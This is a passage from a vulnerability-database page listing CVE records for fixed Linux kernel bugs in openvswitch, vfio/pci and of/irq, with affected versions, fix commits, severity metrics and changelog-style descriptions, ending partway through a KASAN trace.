Linux	Linux	Affected: 9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc , < 6a51ac92bf35d34b4996d6eb67e2fe469f573b11 (git) Affected: 9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc , < 0b532f59437f688563e9c58bdc1436fefa46e3b5 (git) Affected: 9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc , < 5ab6aecbede080b44b8e34720ab72050bf1e6982 (git) Affected: 9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc , < 483eb70f441e2df66ade78aa7217e6e4caadfef3 (git) Affected: 9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc , < 9ec8b0ccadb908d92f7ee211a4eff05fd932f3f6 (git) Affected: 9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc , < 78741b4caae1e880368cb2f5110635f3ce45ecfd (git) Affected: 9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc , < 431e9215576d7b728f3f53a704d237a520092120 (git) Affected: 9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc , < d73fb8bddf89503c9fae7c42e50d44c89909aad6 (git) Affected: 9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc , < 7c988176b6c16c516474f6fceebe0f055af5eb56 (git)
Linux	Linux	Affected: 4.11 Unaffected: 0 , < 4.11 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38558",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-24T18:25:00.443395Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-24T18:25:07.878Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:25.696Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6a51ac92bf35d34b4996d6eb67e2fe469f573b11"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0b532f59437f688563e9c58bdc1436fefa46e3b5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5ab6aecbede080b44b8e34720ab72050bf1e6982"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/483eb70f441e2df66ade78aa7217e6e4caadfef3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9ec8b0ccadb908d92f7ee211a4eff05fd932f3f6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/78741b4caae1e880368cb2f5110635f3ce45ecfd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/431e9215576d7b728f3f53a704d237a520092120"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d73fb8bddf89503c9fae7c42e50d44c89909aad6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7c988176b6c16c516474f6fceebe0f055af5eb56"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:37.352Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/openvswitch/flow.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6a51ac92bf35d34b4996d6eb67e2fe469f573b11",
              "status": "affected",
              "version": "9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc",
              "versionType": "git"
            },
            {
              "lessThan": "0b532f59437f688563e9c58bdc1436fefa46e3b5",
              "status": "affected",
              "version": "9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc",
              "versionType": "git"
            },
            {
              "lessThan": "5ab6aecbede080b44b8e34720ab72050bf1e6982",
              "status": "affected",
              "version": "9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc",
              "versionType": "git"
            },
            {
              "lessThan": "483eb70f441e2df66ade78aa7217e6e4caadfef3",
              "status": "affected",
              "version": "9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc",
              "versionType": "git"
            },
            {
              "lessThan": "9ec8b0ccadb908d92f7ee211a4eff05fd932f3f6",
              "status": "affected",
              "version": "9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc",
              "versionType": "git"
            },
            {
              "lessThan": "78741b4caae1e880368cb2f5110635f3ce45ecfd",
              "status": "affected",
              "version": "9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc",
              "versionType": "git"
            },
            {
              "lessThan": "431e9215576d7b728f3f53a704d237a520092120",
              "status": "affected",
              "version": "9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc",
              "versionType": "git"
            },
            {
              "lessThan": "d73fb8bddf89503c9fae7c42e50d44c89909aad6",
              "status": "affected",
              "version": "9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc",
              "versionType": "git"
            },
            {
              "lessThan": "7c988176b6c16c516474f6fceebe0f055af5eb56",
              "status": "affected",
              "version": "9dd7f8907c3705dc7a7a375d1c6e30b06e6daffc",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/openvswitch/flow.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.11"
            },
            {
              "lessThan": "4.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: fix overwriting ct original tuple for ICMPv6\n\nOVS_PACKET_CMD_EXECUTE has 3 main attributes:\n - OVS_PACKET_ATTR_KEY - Packet metadata in a netlink format.\n - OVS_PACKET_ATTR_PACKET - Binary packet content.\n - OVS_PACKET_ATTR_ACTIONS - Actions to execute on the packet.\n\nOVS_PACKET_ATTR_KEY is parsed first to populate sw_flow_key structure\nwith the metadata like conntrack state, input port, recirculation id,\netc.  Then the packet itself gets parsed to populate the rest of the\nkeys from the packet headers.\n\nWhenever the packet parsing code starts parsing the ICMPv6 header, it\nfirst zeroes out fields in the key corresponding to Neighbor Discovery\ninformation even if it is not an ND packet.\n\nIt is an \u0027ipv6.nd\u0027 field.  However, the \u0027ipv6\u0027 is a union that shares\nthe space between \u0027nd\u0027 and \u0027ct_orig\u0027 that holds the original tuple\nconntrack metadata parsed from the OVS_PACKET_ATTR_KEY.\n\nND packets should not normally have conntrack state, so it\u0027s fine to\nshare the space, but normal ICMPv6 Echo packets or maybe other types of\nICMPv6 can have the state attached and it should not be overwritten.\n\nThe issue results in all but the last 4 bytes of the destination\naddress being wiped from the original conntrack tuple leading to\nincorrect packet matching and potentially executing wrong actions\nin case this packet recirculates within the datapath or goes back\nto userspace.\n\nND fields should not be accessed in non-ND packets, so not clearing\nthem should be fine.  Executing memset() only for actual ND packets to\navoid the issue.\n\nInitializing the whole thing before parsing is needed because ND packet\nmay not contain all the options.\n\nThe issue only affects the OVS_PACKET_CMD_EXECUTE path and doesn\u0027t\naffect packets entering OVS datapath from network interfaces, because\nin this case CT metadata is populated from skb after the packet is\nalready parsed."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:00.331Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6a51ac92bf35d34b4996d6eb67e2fe469f573b11"
        },
        {
          "url": "https://git.kernel.org/stable/c/0b532f59437f688563e9c58bdc1436fefa46e3b5"
        },
        {
          "url": "https://git.kernel.org/stable/c/5ab6aecbede080b44b8e34720ab72050bf1e6982"
        },
        {
          "url": "https://git.kernel.org/stable/c/483eb70f441e2df66ade78aa7217e6e4caadfef3"
        },
        {
          "url": "https://git.kernel.org/stable/c/9ec8b0ccadb908d92f7ee211a4eff05fd932f3f6"
        },
        {
          "url": "https://git.kernel.org/stable/c/78741b4caae1e880368cb2f5110635f3ce45ecfd"
        },
        {
          "url": "https://git.kernel.org/stable/c/431e9215576d7b728f3f53a704d237a520092120"
        },
        {
          "url": "https://git.kernel.org/stable/c/d73fb8bddf89503c9fae7c42e50d44c89909aad6"
        },
        {
          "url": "https://git.kernel.org/stable/c/7c988176b6c16c516474f6fceebe0f055af5eb56"
        }
      ],
      "title": "net: openvswitch: fix overwriting ct original tuple for ICMPv6",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38558",
    "datePublished": "2024-06-19T13:35:28.226Z",
    "dateReserved": "2024-06-18T19:36:34.921Z",
    "dateUpdated": "2026-05-12T11:54:37.352Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26810 (GCVE-0-2024-26810)

Vulnerability from cvelistv5 – Published: 2024-04-05 08:24 – Updated: 2026-05-12 11:49

Title

vfio/pci: Lock external INTx masking ops

Summary

In the Linux kernel, the following vulnerability has been resolved: vfio/pci: Lock external INTx masking ops Mask operations through config space changes to DisINTx may race INTx configuration changes via ioctl. Create wrappers that add locking for paths outside of the core interrupt code. In particular, irq_type is updated holding igate, therefore testing is_intx() requires holding igate. For example clearing DisINTx from config space can otherwise race changes of the interrupt configuration. This aligns interfaces which may trigger the INTx eventfd into two camps, one side serialized by igate and the other only enabled while INTx is configured. A subsequent patch introduces synchronization for the latter flows.

Severity ?

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/1e71b6449d5517917…
https://git.kernel.org/stable/c/3dd9be6cb55e0f475…
https://git.kernel.org/stable/c/ec73e079729258a05…
https://git.kernel.org/stable/c/3fe0ac10bd117df84…
https://git.kernel.org/stable/c/04a4a017b9ffd7b0f…
https://git.kernel.org/stable/c/6fe478d855b20ac1e…
https://git.kernel.org/stable/c/03505e3344b0576fd…
https://git.kernel.org/stable/c/810cd4bb53456d050…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 1e71b6449d55179170efc8dee8664510bb813b42 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 3dd9be6cb55e0f47544e7cdda486413f7134e3b3 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < ec73e079729258a05452356cf6d098bf1504d5a6 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 3fe0ac10bd117df847c93408a9d428a453cd60e5 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 04a4a017b9ffd7b0f427b8c376688d14cb614651 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 6fe478d855b20ac1eb5da724afe16af5a2aaaa40 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 03505e3344b0576fd619416793a31eae9c5b73bf (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 810cd4bb53456d0503cc4e7934e063835152c1b7 (git)
Linux	Linux	Affected: 3.6 Unaffected: 0 , < 3.6 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 4.4,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "HIGH",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26810",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-04-05T17:23:22.081964Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-06T20:03:53.512Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:14:13.648Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1e71b6449d55179170efc8dee8664510bb813b42"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3dd9be6cb55e0f47544e7cdda486413f7134e3b3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ec73e079729258a05452356cf6d098bf1504d5a6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3fe0ac10bd117df847c93408a9d428a453cd60e5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/04a4a017b9ffd7b0f427b8c376688d14cb614651"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6fe478d855b20ac1eb5da724afe16af5a2aaaa40"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/03505e3344b0576fd619416793a31eae9c5b73bf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/810cd4bb53456d0503cc4e7934e063835152c1b7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:27.967Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/vfio/pci/vfio_pci_intrs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1e71b6449d55179170efc8dee8664510bb813b42",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "3dd9be6cb55e0f47544e7cdda486413f7134e3b3",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "ec73e079729258a05452356cf6d098bf1504d5a6",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "3fe0ac10bd117df847c93408a9d428a453cd60e5",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "04a4a017b9ffd7b0f427b8c376688d14cb614651",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "6fe478d855b20ac1eb5da724afe16af5a2aaaa40",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "03505e3344b0576fd619416793a31eae9c5b73bf",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "810cd4bb53456d0503cc4e7934e063835152c1b7",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/vfio/pci/vfio_pci_intrs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.6"
            },
            {
              "lessThan": "3.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvfio/pci: Lock external INTx masking ops\n\nMask operations through config space changes to DisINTx may race INTx\nconfiguration changes via ioctl.  Create wrappers that add locking for\npaths outside of the core interrupt code.\n\nIn particular, irq_type is updated holding igate, therefore testing\nis_intx() requires holding igate.  For example clearing DisINTx from\nconfig space can otherwise race changes of the interrupt configuration.\n\nThis aligns interfaces which may trigger the INTx eventfd into two\ncamps, one side serialized by igate and the other only enabled while\nINTx is configured.  A subsequent patch introduces synchronization for\nthe latter flows."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:04:36.832Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/1e71b6449d55179170efc8dee8664510bb813b42"
        },
        {
          "url": "https://git.kernel.org/stable/c/3dd9be6cb55e0f47544e7cdda486413f7134e3b3"
        },
        {
          "url": "https://git.kernel.org/stable/c/ec73e079729258a05452356cf6d098bf1504d5a6"
        },
        {
          "url": "https://git.kernel.org/stable/c/3fe0ac10bd117df847c93408a9d428a453cd60e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/04a4a017b9ffd7b0f427b8c376688d14cb614651"
        },
        {
          "url": "https://git.kernel.org/stable/c/6fe478d855b20ac1eb5da724afe16af5a2aaaa40"
        },
        {
          "url": "https://git.kernel.org/stable/c/03505e3344b0576fd619416793a31eae9c5b73bf"
        },
        {
          "url": "https://git.kernel.org/stable/c/810cd4bb53456d0503cc4e7934e063835152c1b7"
        }
      ],
      "title": "vfio/pci: Lock external INTx masking ops",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26810",
    "datePublished": "2024-04-05T08:24:41.987Z",
    "dateReserved": "2024-02-19T14:20:24.179Z",
    "dateUpdated": "2026-05-12T11:49:27.967Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-46743 (GCVE-0-2024-46743)

Vulnerability from cvelistv5 – Published: 2024-09-18 07:12 – Updated: 2026-05-12 11:57

Title

of/irq: Prevent device address out-of-bounds read in interrupt map walk

Summary

In the Linux kernel, the following vulnerability has been resolved: of/irq: Prevent device address out-of-bounds read in interrupt map walk When of_irq_parse_raw() is invoked with a device address smaller than the interrupt parent node (from #address-cells property), KASAN detects the following out-of-bounds read when populating the initial match table (dyndbg="func of_irq_parse_* +p"): OF: of_irq_parse_one: dev=/soc@0/picasso/watchdog, index=0 OF: parent=/soc@0/pci@878000000000/gpio0@17,0, intsize=2 OF: intspec=4 OF: of_irq_parse_raw: ipar=/soc@0/pci@878000000000/gpio0@17,0, size=2 OF: -> addrsize=3 ================================================================== BUG: KASAN: slab-out-of-bounds in of_irq_parse_raw+0x2b8/0x8d0 Read of size 4 at addr ffffff81beca5608 by task bash/764 CPU: 1 PID: 764 Comm: bash Tainted: G O 6.1.67-484c613561-nokia_sm_arm64 #1 Hardware name: Unknown Unknown Product/Unknown Product, BIOS 2023.01-12.24.03-dirty 01/01/2023 Call trace: dump_backtrace+0xdc/0x130 show_stack+0x1c/0x30 dump_stack_lvl+0x6c/0x84 print_report+0x150/0x448 kasan_report+0x98/0x140 __asan_load4+0x78/0xa0 of_irq_parse_raw+0x2b8/0x8d0 of_irq_parse_one+0x24c/0x270 parse_interrupts+0xc0/0x120 of_fwnode_add_links+0x100/0x2d0 fw_devlink_parse_fwtree+0x64/0xc0 device_add+0xb38/0xc30 of_device_add+0x64/0x90 of_platform_device_create_pdata+0xd0/0x170 of_platform_bus_create+0x244/0x600 of_platform_notify+0x1b0/0x254 blocking_notifier_call_chain+0x9c/0xd0 __of_changeset_entry_notify+0x1b8/0x230 